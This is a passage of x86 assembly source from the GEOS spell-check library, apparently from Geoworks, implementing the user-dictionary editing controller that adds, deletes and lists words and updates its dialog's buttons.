@%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% EditUserDictionaryControlDetach %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Frees up extra data. CALLED BY: GLOBAL PASS: *ds:si - object RETURN: nada DESTROYED: nada PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- atw 9/27/92 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ EditUserDictionaryControlDetach method EditUserDictionaryControlClass, MSG_META_DETACH, MSG_GEN_CONTROL_DESTROY_UI .enter mov di, offset EditUserDictionaryControlClass call ObjCallSuperNoLock call FreeEditBuff mov di, ds:[si] add di, ds:[di].EditUserDictionaryControl_offset clr bx xchg bx, ds:[di].EUDCI_icBuff tst bx jz exit call ICUpdateUser call ICExit exit: .leave ret EditUserDictionaryControlDetach endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% EditUserDictionaryControlAddToGCNLists %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Adds the controller to the GCNSLT_DICTIONARY GCN list so it will know if/when the user dictionary is changed. CALLED BY: GLOBAL PASS: *ds:si - object RETURN: nada DESTROYED: ax, cx, dx, bp PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- atw 2/19/93 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ EditUserDictionaryControlAddToGCNLists method EditUserDictionaryControlClass, MSG_GEN_CONTROL_ADD_TO_GCN_LISTS .enter mov di, offset EditUserDictionaryControlClass call ObjCallSuperNoLock mov bx, MANUFACTURER_ID_GEOWORKS mov ax, GCNSLT_DICTIONARY mov cx, ds:[LMBH_handle] mov dx, si call GCNListAdd .leave ret EditUserDictionaryControlAddToGCNLists endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% EditUserDictionaryControlRemoveFromGCNLists %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Removes the controller from the GCNSLT_DICTIONARY GCN list (see EditUserDictionaryControlAddToGCNLists). CALLED BY: GLOBAL PASS: *ds:si - object RETURN: nada DESTROYED: ax, cx, dx, bp PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- atw 2/19/93 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ EditUserDictionaryControlRemoveFromGCNLists method EditUserDictionaryControlClass, MSG_GEN_CONTROL_REMOVE_FROM_GCN_LISTS .enter mov di, offset EditUserDictionaryControlClass call ObjCallSuperNoLock mov bx, MANUFACTURER_ID_GEOWORKS mov ax, GCNSLT_DICTIONARY mov cx, ds:[LMBH_handle] mov dx, si call GCNListRemove .leave ret EditUserDictionaryControlRemoveFromGCNLists endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% EditUserDictionaryControlUpdateSelectedWord %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: The user has clicked on one of the words in the user dictionary. Replace the text in the text object with this text. CALLED BY: GLOBAL PASS: nada RETURN: nada DESTROYED: various important but undocumented things PSEUDO CODE/STRATEGY: This page intentionally left blank KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- atw 5/ 1/91 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ EditUserDictionaryControlUpdateSelectedWord method dynamic EditUserDictionaryControlClass, MSG_EUDC_UPDATE_SELECTED_WORD SBCS <altString local SPELL_MAX_WORD_LENGTH dup (char) > DBCS <altString local SPELL_MAX_WORD_LENGTH dup (wchar) > bufHandle local hptr .enter push bp ;Save ptr to locals mov bx, ds:[di].EUDCI_userDictList tst bx LONG jz disableExit mov bufHandle, bx ; FIND OUT WHICH ELEMENT IS SELECTED call GetFeaturesAndChildBlock mov ax, MSG_GEN_ITEM_GROUP_GET_SELECTION mov si, offset EditDictionaryList mov di, mask MF_CALL or mask MF_FIXUP_DS call ObjMessage cmp ax, GIGS_NONE je disableExit ; GET THE SUGGESTED WORD IN "altString" pop bp push bx segmov es, ss lea di, altString ;ES:DI <- dest to store data mov bx, bufHandle ; call GetWordFromUserDictionaryList pop bx ; SET THE TEXT IN THE NEW WORD AREA push bp mov si, offset EditDictionaryNewWord mov dx, ss ;DX:BP <- ptr to string lea bp, altString clr cx mov ax, MSG_VIS_TEXT_REPLACE_ALL_PTR mov di, mask MF_CALL or mask MF_FIXUP_DS call ObjMessage mov ax, MSG_VIS_TEXT_SELECT_ALL ;Select all the replacement ; text so the user can type ; over it easily. mov di, mask MF_CALL or mask MF_FIXUP_DS call ObjMessage ; DISABLE THE "ADD NEW WORD" TRIGGER mov ax, MSG_GEN_SET_NOT_ENABLED mov dl, VUM_NOW mov si, offset EditDictionaryAddWordTrigger call ObjMessageFixupDS mov ax, MSG_GEN_SET_ENABLED mov si, offset EditDictionaryDeleteSelectedWordTrigger call ObjMessageFixupDS exit: pop bp .leave ret disableExit: mov ax, MSG_VIS_TEXT_GET_TEXT_SIZE mov si, offset EditDictionaryNewWord mov di, mask MF_CALL or mask MF_FIXUP_DS call ObjMessage tst ax mov ax, MSG_GEN_SET_ENABLED jnz 90$ mov ax, MSG_GEN_SET_NOT_ENABLED 90$: mov dl, VUM_NOW mov si, offset EditDictionaryAddWordTrigger call ObjMessageFixupDS mov ax, MSG_GEN_SET_NOT_ENABLED mov si, offset EditDictionaryDeleteSelectedWordTrigger call ObjMessageFixupDS jmp exit EditUserDictionaryControlUpdateSelectedWord endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% ResetUserDictList %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: This routine resets the user dictionary list CALLED BY: GLOBAL PASS: *ds:si - object RETURN: nada DESTROYED: bx, cx, dx, bp, di PSEUDO CODE/STRATEGY: This page intentionally left blank KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- atw 5/ 3/91 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ ResetUserDictList proc near uses es, si, ax class EditUserDictionaryControlClass .enter call GetFeaturesAndChildBlock ;If no children, just exit tst bx jz exit clr cx mov di, ds:[si] add di, ds:[di].EditUserDictionaryControl_offset EC < tst ds:[di].EUDCI_userDictList > EC < ERROR_NZ -1 > mov bx, ds:[di].EUDCI_icBuff tst bx jz 10$ call ICBuildUserList tst bx jz 10$ mov ds:[di].EUDCI_userDictList, bx call MemLock mov es, ax mov cx, es:[UDLI_numEntries] call MemUnlock 10$: ; Set the # items in the list call GetFeaturesAndChildBlock mov ax, MSG_GEN_DYNAMIC_LIST_INITIALIZE mov si, offset EditDictionaryList call ObjMessageFixupDS ; Select the first item, or none. mov ax, MSG_GEN_ITEM_GROUP_SET_NONE_SELECTED jcxz common mov ax, MSG_GEN_ITEM_GROUP_SET_SINGLE_SELECTION common: clr dx clr cx call ObjMessageFixupDS mov ax, MSG_GEN_ITEM_GROUP_SEND_STATUS_MSG call ObjMessageFixupDS exit: .leave ret ResetUserDictList endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% EditUserDictionaryControlGenerateUI %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: This method handler inits the user dictionary edit box and brings it up. CALLED BY: GLOBAL PASS: ds - idata RETURN: nada DESTROYED: various important but undocumented things PSEUDO CODE/STRATEGY: This page intentionally left blank KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- atw 5/ 1/91 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ EditUserDictionaryControlGenerateUI method dynamic EditUserDictionaryControlClass, MSG_GEN_CONTROL_GENERATE_UI mov di, offset EditUserDictionaryControlClass call ObjCallSuperNoLock call GetFeaturesAndChildBlock test ax, mask EUDF_EDIT_USER_DICTIONARY jz exit call EditGetICBuff tst bx jz errorExit mov di, ds:[si] add di, ds:[di].EditUserDictionaryControl_offset tst ds:[di].EUDCI_userDictList jnz 10$ call ResetUserDictList 10$: call GetFeaturesAndChildBlock mov ax, MSG_VIS_TEXT_SELECT_ALL ;Select all the replacement ; text so the user can type ; over it easily. mov si, offset EditDictionaryNewWord call ObjMessageFixupDS exit: ret errorExit: mov ax, MSG_GEN_GUP_INTERACTION_COMMAND mov cx, IC_DISMISS mov bx, ds:[LMBH_handle] mov di, mask MF_FORCE_QUEUE or mask MF_INSERT_AT_FRONT GOTO ObjMessage EditUserDictionaryControlGenerateUI endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% EditUserDictionaryInitiate %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: When the box comes up, this routine ensures that we have an ICBuff first, otherwise the box won't come up. CALLED BY: GLOBAL PASS: nada RETURN: nada DESTROYED: nada PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- atw 11/ 2/92 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ EditUserDictionaryInitiate method EditUserDictionaryControlClass, MSG_GEN_INTERACTION_INITIATE .enter call EditGetICBuff tst bx jz exit ; if bx = 0 -> error, so exit. mov di, ds:[si] add di, ds:[di].EditUserDictionaryControl_offset if CONSISTENT_USER_DICT clr bx xchg bx, ds:[di].EUDCI_userDictList tst bx jz noFree call MemFree noFree: call ResetUserDictList else tst ds:[di].EUDCI_userDictList jnz callSuper call ResetUserDictList callSuper: endif mov di, offset EditUserDictionaryControlClass call ObjCallSuperNoLock exit: .leave ret EditUserDictionaryInitiate endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SendChangeNotification %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: This routine sends a change notification to the flow object that tells all instances of the EditControl that the user dictionary has changed. CALLED BY: GLOBAL PASS: ds - lmem block containing object RETURN: nada DESTROYED: nothing PSEUDO CODE/STRATEGY: This page intentionally left blank KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- atw 5/ 3/91 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SendChangeNotification proc near uses ax, bx, cx, dx, bp, di, si .enter mov ax, MSG_NOTIFY_USER_DICT_CHANGE ; ax = message to send mov dx, ds:[LMBH_handle] clr bp clr di ; no special send flags mov bx, MANUFACTURER_ID_GEOWORKS mov si, GCNSLT_DICTIONARY call GCNListRecordAndSend .leave ret SendChangeNotification endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% EditUserDictionaryControlDeleteSelectedWordFromUserDictionary %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Deletes the selected word from the user dictionary and updates the display of words. CALLED BY: GLOBAL PASS: ds - idata RETURN: nada DESTROYED: various important but undocumented things PSEUDO CODE/STRATEGY: This page intentionally left blank KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- atw 5/ 2/91 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ EditUserDictionaryControlDeleteSelectedWordFromUserDictionary method dynamic EditUserDictionaryControlClass, MSG_EUDC_DELETE_SELECTED_WORD_FROM_USER_DICTIONARY SBCS < altString local SPELL_MAX_WORD_LENGTH dup (char) > DBCS < altString local SPELL_MAX_WORD_LENGTH dup (wchar) > selectedItem local word .enter EC < tst ds:[di].EUDCI_userDictList > EC < ERROR_Z -1 > EC < tst ds:[di].EUDCI_icBuff > EC < ERROR_Z -1 > ; FIND OUT WHICH ITEM IS SELECTED call GetFeaturesAndChildBlock push si, bp mov ax, MSG_GEN_ITEM_GROUP_GET_SELECTION mov si, offset EditDictionaryList mov di, mask MF_CALL or mask MF_FIXUP_DS call ObjMessage pop si, bp cmp ax, GIGS_NONE ;Exit if no item is selected. jz disableExit ; GET WORD TO DELETE mov selectedItem, ax mov bx, ds:[si] add bx, ds:[bx].EditUserDictionaryControl_offset mov bx, ds:[bx].EUDCI_userDictList segmov es, ss ;ES:DI <- ptr to stack space to store lea di, altString ; string. call GetWordFromUserDictionaryList ; DELETE THE WORD FROM THE USER DICTIONARY mov bx, ds:[si] add bx, ds:[bx].EditUserDictionaryControl_offset mov bx, ds:[bx].EUDCI_icBuff push ds, si segmov ds, ss lea si, altString ;DS:SI <- ptr to string call ICDeleteUser if CONSISTENT_USER_DICT cmp ax, IC_RET_OK jne noUpdate call ICUpdateUser noUpdate: endif pop ds, si cmp ax, IC_RET_OK jne errorDelete call SendChangeNotification ; RE-BUILD THE LIST OF ITEMS mov di, ds:[si] add di, ds:[di].EditUserDictionaryControl_offset clr bx xchg bx, ds:[di].EUDCI_userDictList EC < tst bx > EC < ERROR_Z -1 > call MemFree mov bx, ds:[di].EUDCI_icBuff call ICBuildUserList mov ds:[di].EUDCI_userDictList, bx call GetFeaturesAndChildBlock ; DELETE THE ITEM FROM THE LIST, AND MARK THE LIST AS HAVING NOTHING ; SELECTED. mov ax, MSG_GEN_DYNAMIC_LIST_REMOVE_ITEMS mov cx, selectedItem mov dx, 1 mov si, offset EditDictionaryList call ObjMessageFixupDS disableExit: mov ax, MSG_GEN_ITEM_GROUP_SET_NONE_SELECTED mov si, offset EditDictionaryList call ObjMessageFixupDS mov ax, MSG_GEN_ITEM_GROUP_SEND_STATUS_MSG call ObjMessageFixupDS exit: .leave ret errorDelete: mov bx, offset SpellUserDictDeleteGenericString mov ax, (CDT_ERROR shl offset CDBF_DIALOG_TYPE or GIT_NOTIFICATION shl offset CDBF_INTERACTION_TYPE or mask CDBF_SYSTEM_MODAL) call SpellPutupBox jmp exit EditUserDictionaryControlDeleteSelectedWordFromUserDictionary endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% FindStringInUserDictionaryList %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: This routine looks for the just-added string in the user list. CALLED BY: GLOBAL PASS: ds:si <- ptr to string to search for (DBCS if DBCS) es:di <- ptr to array of null terminated strings to look for es:0 - UserDictionaryListInfo RETURN: dx <- index of word in array (0 to N-1) DESTROYED: ax, cx, si, di PSEUDO CODE/STRATEGY: This page intentionally left blank KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- atw 5/ 3/91 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ FindStringInUserDictionaryList proc near sourceStringLen local word sourcePtr local word arrayPtr local word .enter push es, di segmov es, ds ;ES:DI <- size of source string mov di, si SBCS < clr al > DBCS < clr ax > mov cx, -1 SBCS < repne scasb ; > DBCS < repne scasw ; > not cx ;CX <- size of source string + null pop es, di ;Restore ptr to array mov sourcePtr, si mov sourceStringLen, cx clr dx if DBCS_PCGEOS mov ax, ds:[si] tst ah jnz nextWord mov ah, al ;AH <- first char in string else mov ah, ds:[si] ;AH <- first char in string endif 10$: mov arrayPtr, di cmp dx, es:[UDLI_numEntries] EC < ERROR_A JUST_ADDED_WORD_NOT_FOUND_IN_USER_DICT_LIST > NEC < ja notFound > cmp ah, es:[di] ;Do first chars match? je compareWords ;Branch if so. nextWord: clr al ; mov cx, -1 ; repne scasb ;Go to next item in list inc dx jmp 10$ ife ERROR_CHECK ; If, for some reason, the word was not found in the list (this ; can only happen if somehow a word was added with characters that ; were not in the DEC character set, which should not happen, since ; there are filters on the EditDictionaryNewWord object), don't ; despair, just select the first item, instead of crashing... notFound: clr dx jmp done endif compareWords: mov cx, sourceStringLen ;CX <- length of search word if DBCS_PCGEOS 80$: lodsw tst ah jnz 90$ inc di cmp al, es:[di-1] loope 80$ 90$: else repe cmpsb ; endif mov si, sourcePtr ; mov di, arrayPtr ; jne nextWord NEC <done: > .leave ret FindStringInUserDictionaryList endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% EditUserDictionaryControlAddNewWordToUserDictionary %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Deletes the selected word from the user dictionary and updates the display of words. CALLED BY: GLOBAL PASS: ds - idata RETURN: nada DESTROYED: various important but undocumented things PSEUDO CODE/STRATEGY: This page intentionally left blank KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- atw 5/ 2/91 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ EditUserDictionaryControlAddNewWordToUserDictionary method dynamic EditUserDictionaryControlClass, MSG_EUDC_ADD_NEW_WORD_TO_USER_DICTIONARY SBCS < altString local SPELL_MAX_WORD_LENGTH dup (char) > DBCS < altString local SPELL_MAX_WORD_LENGTH dup (wchar) > .enter EC < tst ds:[di].EUDCI_icBuff > EC < ERROR_Z -1 > call GetFeaturesAndChildBlock push bp, si ; Disable the "add" trigger so that user won't press it again. mov ax, MSG_GEN_SET_NOT_ENABLED mov dl, VUM_NOW mov si, offset EditDictionaryAddWordTrigger call ObjMessageFixupDS mov ax, MSG_VIS_TEXT_SELECT_ALL ;Select all the replacement ; text so the user can type ; over it easily. mov si, offset EditDictionaryNewWord call ObjMessageFixupDS mov ax, MSG_VIS_TEXT_SET_NOT_USER_MODIFIED call ObjMessageFixupDS ;Set object "not user modified" ; so the next typing will ; enable the Add New Word ; trigger ; GET WORD TO ADD mov dx, ss ;CX:DX <- ptr to stack space to store lea bp, altString ; string. mov ax, MSG_VIS_TEXT_GET_ALL_PTR mov di, mask MF_CALL or mask MF_FIXUP_DS call ObjMessage pop bp, si tst cx LONG jz noNewWord ; ADD THE WORD TO THE USER DICTIONARY mov di, ds:[si] add di, ds:[di].EditUserDictionaryControl_offset mov bx, ds:[di].EUDCI_icBuff push ds, si segmov ds, ss lea si, altString ;DS:SI <- ptr to string call ICAddUser if CONSISTENT_USER_DICT cmp ax, IC_RET_OK jne noUpdate call ICUpdateUser noUpdate: endif pop ds, si cmp ax, IC_RET_OK jne noAddError call SendChangeNotification ; RE-BUILD THE LIST OF ITEMS mov bx, ds:[di].EUDCI_userDictList call MemFree mov bx, ds:[di].EUDCI_icBuff call ICBuildUserList mov ds:[di].EUDCI_userDictList, bx call MemLock mov es, ax ; FIND OUT THE INDEX OF THE ITEM THAT WAS ADDED, AND PASS IT ALONG push ds, si segmov ds, ss lea si, altString ;DS:SI <- ptr to string to ; look for mov di, size UserDictionaryListInfo ;ES:DI <- ptr to first string call FindStringInUserDictionaryList ;Returns DX <- index of string pop ds, si ; PURGE ALL THE MONIKERS AND ADD A NEW ITEM mov cx, es:[UDLI_numEntries] call MemUnlock call GetFeaturesAndChildBlock mov si, offset EditDictionaryList mov ax, MSG_GEN_DYNAMIC_LIST_INITIALIZE call ObjMessageFixupDS mov ax, MSG_GEN_ITEM_GROUP_SET_SINGLE_SELECTION mov cx, dx ;CX <- index of item to select clr dx call ObjMessageFixupDS mov ax, MSG_GEN_ITEM_GROUP_SEND_STATUS_MSG call ObjMessageFixupDS exit: .leave ret noAddError: ; IF WE COULDN'T ADD THE WORD TO THE USER DICTIONARY, JUST IGNORE IT AND ; INFORM THE USER. mov bx, offset SpellUserDictFullString cmp dx, UR_USER_DICT_FULL je 30$ mov bx, offset SpellUserDictWordAlreadyAddedString cmp dx, UR_WORD_ALREADY_ADDED je 30$ mov bx, offset SpellUserDictAddGenericString 30$: mov ax, (CDT_ERROR shl offset CDBF_DIALOG_TYPE or GIT_NOTIFICATION shl offset CDBF_INTERACTION_TYPE or mask CDBF_SYSTEM_MODAL) call SpellPutupBox jmp exit noNewWord: mov bx, offset SpellNoNewWordString mov ax, (CDT_ERROR shl offset CDBF_DIALOG_TYPE or GIT_NOTIFICATION shl offset CDBF_INTERACTION_TYPE or mask CDBF_SYSTEM_MODAL) call SpellPutupBox jmp exit EditUserDictionaryControlAddNewWordToUserDictionary endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% EditUserDictionaryControlUserDictChangeNotification %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: When notified of a change to the user dictionary, this method handler updates the dynamic list. CALLED BY: GLOBAL PASS: dx,bp - data RETURN: nada DESTROYED: various important but undocumented things PSEUDO CODE/STRATEGY: This page intentionally left blank KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- atw 5/ 3/91 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ EditUserDictionaryControlUserDictChangeNotification method dynamic EditUserDictionaryControlClass, MSG_NOTIFY_USER_DICT_CHANGE push ax, cx, dx, bp cmp dx, ds:[LMBH_handle] ;If we sent it out, ignore it. jz exit ; if CONSISTENT_USER_DICT ; ; force user dictionary file to be re-read ; clr bx xchg bx, ds:[di].EUDCI_icBuff tst bx jz noUpdate call ICExit noUpdate: call EditGetICBuff endif clr bx xchg bx, ds:[di].EUDCI_userDictList tst bx jz exit call MemFree call ResetUserDictList exit: ; ; call superclass to acknowledge receipt of notification ; pop ax, cx, dx, bp mov di, offset EditUserDictionaryControlClass GOTO ObjCallSuperNoLock EditUserDictionaryControlUserDictChangeNotification endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% EditUserDictionaryControlReplacementTextUserModified %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Method sent out when the user modifies the AddNewWord text. CALLED BY: EditDictionaryNewWord object sends this when dirty PASS: ds - idata ^lcx:dx - text object that sent it out. RETURN: nada DESTROYED: ax,cx,dx,bp PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- atw 2/ 5/91 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ EditUserDictionaryControlReplacementTextUserModified method EditUserDictionaryControlClass, MSG_META_TEXT_USER_MODIFIED ; Make sure the message is sent out by the right object cmp dx, offset EditDictionaryNewWord jne exit ; NUKE THE CURRENT SELECTION call GetFeaturesAndChildBlock push si mov ax, MSG_GEN_ITEM_GROUP_SET_NONE_SELECTED mov si, offset EditDictionaryList clr dx call ObjMessageFixupDS mov ax, MSG_GEN_ITEM_GROUP_SEND_STATUS_MSG call ObjMessageFixupDS mov ax, MSG_VIS_TEXT_GET_TEXT_SIZE mov si, offset EditDictionaryNewWord mov di, mask MF_CALL or mask MF_FIXUP_DS call ObjMessage mov_tr bp, ax ;BP <- # chars in object mov ax, MSG_META_TEXT_EMPTY_STATUS_CHANGED movdw cxdx, bxsi mov bx, ds:[LMBH_handle] pop si call ObjMessageFixupDS exit: ret EditUserDictionaryControlReplacementTextUserModified endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% EditUserDictionaryControlReplacementTextEmptyStatusChanged %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: If the text is becoming empty/non-empty, enable/disable the trigger. CALLED BY: GLOBAL PASS: bp - non-zero if obj has chars now RETURN: nada DESTROYED: nada PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- atw 7/10/92 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ EditUserDictionaryControlReplacementTextEmptyStatusChanged method EditUserDictionaryControlClass, MSG_META_TEXT_EMPTY_STATUS_CHANGED .enter cmp dx, offset EditDictionaryNewWord jne exit ; If the text object is not dirty, branch. mov ax, MSG_VIS_TEXT_GET_USER_MODIFIED_STATE movdw bxsi, cxdx mov di, mask MF_CALL or mask MF_FIXUP_DS call ObjMessage mov ax, MSG_GEN_SET_NOT_ENABLED jcxz disableTrigger ; IF NO TEXT, WE WANT TO DISABLE THE REPLACE TRIGGERS tst bp je disableTrigger mov ax, MSG_GEN_SET_ENABLED disableTrigger: mov dl, VUM_NOW mov si, offset EditDictionaryAddWordTrigger call ObjMessageFixupDS exit: .leave ret EditUserDictionaryControlReplacementTextEmptyStatusChanged endp if 0 COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% EditUserDictionaryControlSetEnabled %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: If dict is not available, don't enable the spell control. TOOK THIS OUT 5/19/93, as it is unclear why we should care if the main dictionary exists or not. CALLED BY: GLOBAL PASS: params for MSG_GEN_SET_ENABLED RETURN: nada DESTROYED: nada PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- atw 9/28/92 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ EditUserDictionaryControlSetEnabled method EditUserDictionaryControlClass, MSG_GEN_SET_ENABLED .enter call CheckIfSpellAvailable tst ax jz exit mov ax, MSG_GEN_SET_ENABLED mov di, offset EditUserDictionaryControlClass call ObjCallSuperNoLock exit: .leave ret EditUserDictionaryControlSetEnabled endp endif COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% EditUserDictionaryControlDismiss %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Notifies the output if the box is being closed. CALLED BY: GLOBAL PASS: cx - InteractionCommand RETURN: nada DESTROYED: nada PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- atw 9/28/92 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ EditUserDictionaryControlDismiss method EditUserDictionaryControlClass, MSG_VIS_CLOSE mov di, offset 